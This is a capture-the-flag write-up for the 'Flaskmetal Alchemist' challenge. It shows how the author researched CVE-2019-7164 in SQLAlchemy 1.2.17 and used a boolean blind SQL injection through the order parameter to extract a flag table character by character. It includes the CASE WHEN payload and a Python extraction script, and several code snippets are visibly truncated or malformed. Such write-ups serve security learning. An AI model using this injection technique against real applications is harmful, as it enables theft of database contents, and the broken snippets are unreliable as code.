WebScriptingSQL Injection +168 points

4 months ago - 118 views

Flaskmetal Alchemist

Let me start by saying this was probably my favorite challenge in the event. To solve it you had to do your own research into a CVE, to exploit it. I found the CVE pretty quick but the hard part was finding out how it exactly worked. During this challenge, I learned a lot about doing research into new vulnerabilities.

The Challenge

When we just start the challenge we get a page that allows us to search a table of all Metals. We can provide a search term and it will return only the metals that match that name. We can also order them by either the atomic number, the symbol, or the name.

The main page showing table and search options

We were also given the source code for the application. The whole application is in Python and we can see that it is a Flask application, using SQLAlchemy for the database. The directory structure looks like this:

├── app.py       # Routes and logic
├── database.py  # Database setup
├── models.py    # Models for database tables
└── seed.py      # Data in database

The app.py file was the most interesting because it contained the logic of the main page:


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        search = ""
        order = None
        if "search" in request.form:
            search = request.form["search"]
        if "order" in request.form:
            order = request.form["order"]
        if order is None:
            metals = Metal.query.filter(Metal.name.like("%{}%".format(search)))
            metals = Metal.query.filter(
        return render_template("home.html", metals=metals)
        metals = Metal.query.all()
        return render_template("home.html", metals=metals)

Here we can see the search functionality in code. It just filters the Metals table by name and then orders it by the order parameter. Finally, it renders the home page with the filtered table.

The database model was made using SQLAlchemy, in the following structure:


class Metal(Base):
    __tablename__ = "metals"
    atomic_number = Column(Integer, primary_key=True)
    symbol = Column(String(3), unique=True, nullable=False)
    name = Column(String(40), unique=True, nullable=False)

    def __init__(self, atomic_number=None, symbol=None, name=None):
        self.atomic_number = atomic_number
        self.symbol = symbol
        self.name = name

class Flag(Base):
    __tablename__ = "flag"
    flag = Column(String(40), primary_key=True)

    def __init__(self, flag=None):
        self.flag = flag

Here we see two tables. The first one is the Metal table, containing all the metals displayed on the site. The second one is the Flag table, which contains the flag that we obviously want to get.

Lastly, we get the requirements.txt file. Showing exactly what versions of each library are used.




The requirements.txt file seemed interesting to me because we got the exact version of all libraries. And since our goal seems to be to read data from the Flag table, instead of the Metal table, the first thing I looked at was the SQLAlchemy library. It said it was version 1.2.17, so I looked up if there were any known vulnerabilities in this version.

First I found that SQLAlchemy 1.2.17 was released all the way back in January 2019. This now really seems like a target for a CVE, and after looking around for a bit I found CVE-2019-7164. On the site it says:

"SQLAlchemy through 1.2.17 and 1.3.x through 1.3.0b2 allows SQL Injection via the order_by parameter."

This looks like exactly what we were looking for because SQL injection would allow us to read the Flag table, and we have control over the order parameter. Now comes the hard part, how do we exploit this vulnerability? Because I could not find any quick Proof of Concept on the CVE anywhere online.

Creating a Proof of Concept

After a bit, I did find the Github issue announcing this vulnerability. It says if we just provide an order like if(1=1, atomic_number, name) we can control the 1=1 condition to get a boolean response from the database. We can detect this by looking at how the metals in the response are ordered.
If they are ordered by their Atomic Number, it means the condition was true. If they are ordered by their Name, it means the condition was false.

This looks great, but when we actually try it in a SQLite online testing environment, it doesn't seem to recognize the if() function. This was very weird to me as I'm not sure where the author of the Github issue got this from. But if statements like this are possible in SQLite, just with a bit of a different syntax:

CASE WHEN {condition} THEN {true_value} ELSE {false_value} END

So using CASE WHEN 1=1 THEN atomic_number ELSE name END we can get a boolean response from the database.

So if we provide two values for the condition like 1=1 and 1=2, we can look if the responses differ to check if it evaluated our condition correctly.

The request to the server when we search for something is as follows:


Host: challenge.nahamcon.com:30195
Content-Length: 21
Content-Type: application/x-www-form-urlencoded


We can do the same in python using requests:


import requests

data = {
    "search": "ium",
    "order": "name"

r = requests.post("http://challenge.nahamcon.com:30195/", data=data)

If we now try to set order to the "true" payload like CASE WHEN 1=1 THEN atomic_number ELSE name END, we can see that the first element returned is Lithium (3). When we then invert the condition to something false like 1=2 we get Actinium (89) instead, meaning our condition is actually evaluated by the server! Now we can use this condition to slowly get the flag one question at a time.

The Solution

We could try and parse the whole HTML response to look at what metals were returned. But since the response is always the same for a true condition, and always the same for a false condition, we can just save a hash like md5 of both responses and compare them when we get a response. Then we know what hash corresponds to what type of response, without having to deal with parsing HTML.

I made a simple test() function to test if a certain condition is true or false. Then we can use this function to slowly get the flag.


import requests
import hashlib

response_hashes = {
    "e2fb495676eaaf27370dbd589e978f47": True,
    "1083077c3a0c71ac9d876a3ed5e0eb4c": False

def md5(text):
    return hashlib.md5(text.encode()).hexdigest()

def test(condition):
    data = {
        "search": "ium",
        "order": f"CASE WHEN {condition} THEN atomic_number ELSE name END"

    r = requests.post("http://challenge.nahamcon.com:30195/", data=data)

    return response_hashes[md5(r.text)]

print(test("1=1"))  # True
print(test("1=2"))  # False

I looked around online a bit to see how we could exfiltrate the data with a boolean injection in SQLite. On PayloadsAllTheThings on Github I found a simple way of doing it with a subquery like this:

(SELECT substr(flag,{index},1) FROM flag) = '{character}'

Where for each index of the flag, we try all possible characters and compare them. We keep going for all indexes until we have the whole string. We can do this in python with some simple loops:


ALPHABET = "{}_abcdefghijklmnopqrstuvwxyz"  # Flag format is flag{letters_with_underscores}

i = 1
flag = ""
while True:  # For all indexes
    for c in ALPHABET:  # For all characters
        if test(f"(SELECT substr(flag,{i},1) FROM flag) = '{c}'"):
            # Found true condition
            flag += c
    else:  # If no character was found, stop
    i += 1

It takes a bit of time to run because it has to try all characters for each index. But it does work. And at the end, it gives us the flag!